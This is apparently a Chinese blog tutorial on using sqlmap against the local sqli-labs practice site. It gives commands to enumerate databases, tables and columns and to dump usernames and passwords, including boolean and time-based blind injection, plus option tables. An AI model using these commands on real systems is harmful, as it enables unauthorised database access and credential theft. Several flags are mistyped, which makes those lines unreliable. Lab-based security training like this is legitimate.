你还在为一个个手动输入而烦心吗?你还在为一个个SQL语句记不住而担忧吗?快来看看本教程吧ヾ(≧▽≦*)o
本文基于WSL2 KALI LINUX
安装教程就不写了,网上一大堆,实在不行就用kali呢,里面也有,开箱即用
普通注入(基于sqlilab/Less-1)
判断能不能注入
sqlmap -u http://127.0.0.1/Less-1/?id=1
结束后会给可以尝试的注入方式

查找当前数据库
sqlmap -u http://127.0.0.1/Less-1/?id=1 -dbs
# -dbs 可以理解为databases
知道了当前的库,就要查所有的表
sqlmap -u http://127.0.0.1/Less-1/?id=1 -D security --tables
# -D是指定数据库,--tables是表
知道了库名,表名,就要查列名
sqlmap -u http://127.0.0.1/Less-1/?id=1 -D security -T users --columns
# -T是指定表,--colums则是进行查列
知道了库名,表名,列名就要进行查字段
sqlmap -u http://127.0.0.1/Less-1/?id=1 -D security -T users -C "id,username,password" --dump
利用POST获取值(基于sqlilab/Less-1)
- 利用Burp Suite来进行抓包截取,截类似于这种界面

然后右键,点击copy to file
确认位置
sqlmap -r 文件位置及文件名称 -p uname
# -r读取文件 -p注定参数,比方说我知道了post里面有uname,那么就从uname下手,上面uname只是样例
就会显示注入方式
然后就可以用上面的参数获取各种数据
详细的可以在网上找
利用sqlmap进行布尔盲注和时间延迟注入(基于sqlilab/less-8)
利用布尔
爆数据库名
sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql --dbs --batch --threads 10
# --techique采用的技术手段默认全部采用,在这里是B则是进行布尔盲注
# --dbms 是指定使用的数据库 mysql是当前使用数据库
# --dbs 进行查库
# --batch是不进行交互
# --threads是指线程,默认单线程,最高10线程
爆表名
sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security --tables --batch --threads 10
# 实际上改变并不大,只是稍微修改了一下,和上面讲的普通注入基本一致
爆列名
sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security -T users --column --batch --threads 10
# 不多说什么了
爆内容
sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 ---technique B --dbms mysql -D security -T users -C username,password --dump --batch --threads 10
利用时间盲注
爆数据库名
sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql --dbs --batch --time-sec 3
# --time-sec限定时间,默认为5s
# 相比布尔盲注 差别并不大,只是将B改为了T,取消了多线程
爆表名
sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security --tables --batch
爆列名
sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --technique T --dbms mysql -D security -T users --column --batch
爆内容
sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 -technique T --dbms mysql -D security -T users -C username,password --dump --batch
对于–technique的补充
| 参数 | 作用 |
|---|---|
| B | 进行布尔盲注 |
| E | 报错注入 |
| U | 联合查询 |
| S | 多语句查询 |
| T | 延时查询 |
| Q | 嵌套查询注入 |
除了可以用单参数,也可以用双参数或者多参数.
其他常用指令
| 命令 | 作用 |
|---|---|
| -is-dba | 检查当前用户 |
| level | 探测等级最低1最高5 |
| risk | 风险等级最低1最高3 |
| -dbs | 所有数据库 |
| -current-db | 当前数据库 |
| -users | 所有数据库用户 |
| -current-user | 当前用户 |
| banner | 返回版本信息 |
| –user-agent | 设置user-agent的值 |
| -random-agent | 构造随机user-agent |
| -password | 数据库密码 |
| -proxy | 设置代理 |
472

被折叠的 条评论
为什么被折叠?



